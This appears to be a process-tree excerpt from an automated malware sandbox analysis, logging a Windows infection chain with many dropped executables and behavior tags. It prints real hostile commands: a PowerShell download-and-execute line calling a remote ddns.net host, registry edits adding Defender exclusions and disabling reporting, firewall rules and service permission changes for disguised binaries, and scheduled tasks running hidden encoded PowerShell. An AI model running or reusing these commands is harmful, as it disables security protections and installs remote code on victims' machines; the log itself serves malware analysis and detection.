C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)9⤵
- Launches sc.exe
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)9⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)10⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exeC:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe8⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn "csrss" /f9⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn "ScheduledUpdate" /f9⤵
-
C:\Users\Admin\Pictures\Adobe Films\Um2YYfrmibli7Osr5iDEbW4S.exe"C:\Users\Admin\Pictures\Adobe Films\Um2YYfrmibli7Osr5iDEbW4S.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\Um2YYfrmibli7Osr5iDEbW4S.exe"C:\Users\Admin\Pictures\Adobe Films\Um2YYfrmibli7Osr5iDEbW4S.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\tqEYe6pHN_AjrXEnusJ8Zklq.exe"C:\Users\Admin\Pictures\Adobe Films\tqEYe6pHN_AjrXEnusJ8Zklq.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\rXadbnAUPDtY3mUZZjnQSJJo.exe"C:\Users\Admin\Pictures\Adobe Films\rXadbnAUPDtY3mUZZjnQSJJo.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\byIjyf1ewusb5ew99WUIdH5D.exe"C:\Users\Admin\Pictures\Adobe Films\byIjyf1ewusb5ew99WUIdH5D.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\n0nAiUSDmzj_bXivRVaox6A6.exe"C:\Users\Admin\Pictures\Adobe Films\n0nAiUSDmzj_bXivRVaox6A6.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\n0nAiUSDmzj_bXivRVaox6A6.exe"C:\Users\Admin\Pictures\Adobe Films\n0nAiUSDmzj_bXivRVaox6A6.exe" -h6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\3x82eVaqaDjYuBKaRSaDF7h4.exe"C:\Users\Admin\Pictures\Adobe Films\3x82eVaqaDjYuBKaRSaDF7h4.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\ctKfL9FA2aIzyW_CsYExlhhb.exe"C:\Users\Admin\Pictures\Adobe Films\ctKfL9FA2aIzyW_CsYExlhhb.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\1HEQixLENX0xK4rkXufY2Z89.exe"C:\Users\Admin\Documents\1HEQixLENX0xK4rkXufY2Z89.exe"6⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\J_OJKfvknAnX8Lrmj5sLYyPk.exe"C:\Users\Admin\Pictures\Adobe Films\J_OJKfvknAnX8Lrmj5sLYyPk.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\kg5DCyJNnKq91eVxt9XdJ61h.exe"C:\Users\Admin\Pictures\Adobe Films\kg5DCyJNnKq91eVxt9XdJ61h.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\kg5DCyJNnKq91eVxt9XdJ61h.exe"C:\Users\Admin\Pictures\Adobe Films\kg5DCyJNnKq91eVxt9XdJ61h.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\Pk2iU0BpKRS7nCHliVcOIaN5.exe"C:\Users\Admin\Pictures\Adobe Films\Pk2iU0BpKRS7nCHliVcOIaN5.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS47E1.tmp\Install.exe.\Install.exe8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS5167.tmp\Install.exe.\Install.exe /S /site_id "525403"9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&11⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3212⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6412⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&11⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3212⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6412⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gJiXYzWwd" /SC once /ST 05:34:49 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="10⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gJiXYzWwd"10⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gJiXYzWwd"10⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bSzxbwoNcBikuvBHSi" /SC once /ST 16:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS\DHCFwIeGsAzCKgD\UjjGPYy.exe\" Lt /site_id 525403 /S" /V1 /F10⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\Wfnt_Bm6SghcS48Y2waRy2Ow.exe"C:\Users\Admin\Pictures\Adobe Films\Wfnt_Bm6SghcS48Y2waRy2Ow.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\KMU9HrA2_MXaR2IeiqB43bD5.exe"C:\Users\Admin\Pictures\Adobe Films\KMU9HrA2_MXaR2IeiqB43bD5.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\robocopy.exerobocopy /?8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Playing.wks & ping -n 5 localhost8⤵
-
C:\Windows\SysWOW64\cmd.execmd9⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AvastUI.exe"10⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "avastui.exe"10⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AVGUI.exe"10⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "avgui.exe"10⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^iHbnbQ$" Baltimore.wks10⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Hammer.exe.pifHammer.exe.pif r10⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Hammer.exe.pifC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Hammer.exe.pif Films\KMU9HrA2_MXaR2IeiqB43bD5.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 510⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost9⤵
- Runs ping.exe
-
C:\Users\Admin\Pictures\Adobe Films\nkShmgEnKNmHH7whHtIeTf8Z.exe"C:\Users\Admin\Pictures\Adobe Films\nkShmgEnKNmHH7whHtIeTf8Z.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 4488⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 7648⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 8048⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 8048⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 8008⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 9848⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 9848⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 13768⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "nkShmgEnKNmHH7whHtIeTf8Z.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\nkShmgEnKNmHH7whHtIeTf8Z.exe" & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "nkShmgEnKNmHH7whHtIeTf8Z.exe" /f9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59560 -s 7008⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\OUEWMr9nfH7U8x9e8HmTflVd.exe"C:\Users\Admin\Pictures\Adobe Films\OUEWMr9nfH7U8x9e8HmTflVd.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /pid=7477⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-I2V4F.tmp\OUEWMr9nfH7U8x9e8HmTflVd.tmp"C:\Users\Admin\AppData\Local\Temp\is-I2V4F.tmp\OUEWMr9nfH7U8x9e8HmTflVd.tmp" /SL5="$50222,11860388,791040,C:\Users\Admin\Pictures\Adobe Films\OUEWMr9nfH7U8x9e8HmTflVd.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /pid=7478⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im Adblock.exe9⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "reg copy HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /s /f"9⤵
-
C:\Windows\system32\reg.exereg copy HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /s /f10⤵
-
C:\Users\Admin\Programs\Adblock\Adblock.exe"C:\Users\Admin\Programs\Adblock\Adblock.exe" --installerSessionId=e32e1c791662482030 --downloadDate=2022-09-06T16:33:41 --distId=marketator --pid=7479⤵
- Executes dropped EXE
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Programs\Adblock\crashpad_handler.exeC:\Users\Admin\Programs\Adblock\crashpad_handler.exe --no-rate-limit "--database=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps" "--metrics-dir=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps" --url=https://o428832.ingest.sentry.io:443/api/5420194/minidump/?sentry_client=sentry.native/0.4.12&sentry_key=06798e99d7ee416faaf4e01cd2f1faaf "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\51fe85c6-bb04-4ef0-d0db-bb70f1d928c9.run\__sentry-event" "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\51fe85c6-bb04-4ef0-d0db-bb70f1d928c9.run\__sentry-breadcrumb1" "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\51fe85c6-bb04-4ef0-d0db-bb70f1d928c9.run\__sentry-breadcrumb2" --initial-client-data=0x458,0x45c,0x460,0x434,0x464,0x7ff7f1dabc80,0x7ff7f1dabca0,0x7ff7f1dabcb810⤵
-
C:\Users\Admin\AppData\Local\Temp\Update-461fc76d-7325-49af-80f6-1d6545b7efb9\AdblockInstaller.exe"C:\Users\Admin\AppData\Local\Temp\Update-461fc76d-7325-49af-80f6-1d6545b7efb9\AdblockInstaller.exe" /SP- /VERYSILENT /NOICONS /SUPPRESSMSGBOXES /UPDATE10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PHSGL.tmp\AdblockInstaller.tmp"C:\Users\Admin\AppData\Local\Temp\is-PHSGL.tmp\AdblockInstaller.tmp" /SL5="$701F6,11574525,792064,C:\Users\Admin\AppData\Local\Temp\Update-461fc76d-7325-49af-80f6-1d6545b7efb9\AdblockInstaller.exe" /SP- /VERYSILENT /NOICONS /SUPPRESSMSGBOXES /UPDATE11⤵
- Loads dropped DLL
-
C:\Windows\system32\netsh.exeC:\Windows\system32\netsh.exe firewall add allowedprogram "C:\Users\Admin\Programs\Adblock\DnsService.exe" AdBlockFast ENABLE10⤵
- Modifies Windows Firewall
-
C:\Users\Admin\Programs\Adblock\DnsService.exeC:\Users\Admin\Programs\Adblock\DnsService.exe -install10⤵
- Drops file in Drivers directory
-
C:\Users\Admin\Programs\Adblock\DnsService.exeC:\Users\Admin\Programs\Adblock\DnsService.exe -start10⤵
- Drops file in Drivers directory
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /f"9⤵
-
C:\Windows\system32\reg.exereg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /f10⤵
- Modifies registry key
-
C:\Users\Admin\Pictures\Adobe Films\bDeuH0nrDAoO4ajIvWcVBx48.exe"C:\Users\Admin\Pictures\Adobe Films\bDeuH0nrDAoO4ajIvWcVBx48.exe"7⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "iex(New-Object Net.WEbclIent).DoWnLOadstRinG('http://microsoftdownload.ddns.net:8808/downloader/WinSecurityUpdate')"8⤵
- Blocklisted process makes network request
-
C:\Users\Admin\Pictures\Adobe Films\5OvJsVSNfHmnjK7_QQv1Xr3I.exe"C:\Users\Admin\Pictures\Adobe Films\5OvJsVSNfHmnjK7_QQv1Xr3I.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\5OvJsVSNfHmnjK7_QQv1Xr3I.exe"C:\Users\Admin\Pictures\Adobe Films\5OvJsVSNfHmnjK7_QQv1Xr3I.exe"8⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"9⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes10⤵
- Modifies Windows Firewall
-
C:\Users\Admin\Pictures\Adobe Films\Rh4gb2YxKG_OkPRkZUfqG05p.exe"C:\Users\Admin\Pictures\Adobe Films\Rh4gb2YxKG_OkPRkZUfqG05p.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",8⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",9⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",10⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",11⤵
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Adobe Films\3PsAXhp0eXUcX71rKl6hAtr7.exe"C:\Users\Admin\Pictures\Adobe Films\3PsAXhp0eXUcX71rKl6hAtr7.exe"7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST6⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\ROklc78dOV05gSsPYp4Uh1z5.exe"C:\Users\Admin\Pictures\Adobe Films\ROklc78dOV05gSsPYp4Uh1z5.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\jOVgTMiveF72vH8qceJwOTi_.exe"C:\Users\Admin\Pictures\Adobe Films\jOVgTMiveF72vH8qceJwOTi_.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 4526⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 7646⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 7726⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 7726⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 8086⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 8206⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 10166⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 13966⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "jOVgTMiveF72vH8qceJwOTi_.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\jOVgTMiveF72vH8qceJwOTi_.exe" & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "jOVgTMiveF72vH8qceJwOTi_.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 14366⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2364153e7a62.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2364153e7a62.exeMon2364153e7a62.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2364153e7a62.exeC:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2364153e7a62.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon23d53cfe0f9a3e0d5.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23d53cfe0f9a3e0d5.exeMon23d53cfe0f9a3e0d5.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2333eed5b683cf.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2333eed5b683cf.exeMon2333eed5b683cf.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon23b195c40d1.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon238458ef4a8bf072.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 5843⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23b195c40d1.exeMon23b195c40d1.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon238458ef4a8bf072.exeMon238458ef4a8bf072.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1436 -ip 14361⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 6002⤵
- Program crash
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2436 -ip 24361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4796 -ip 47961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1768 -ip 17681⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 59520 -s 6003⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 59520 -ip 595201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1768 -ip 17681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1768 -ip 17681⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 59560 -ip 595601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 59560 -ip 595601⤵
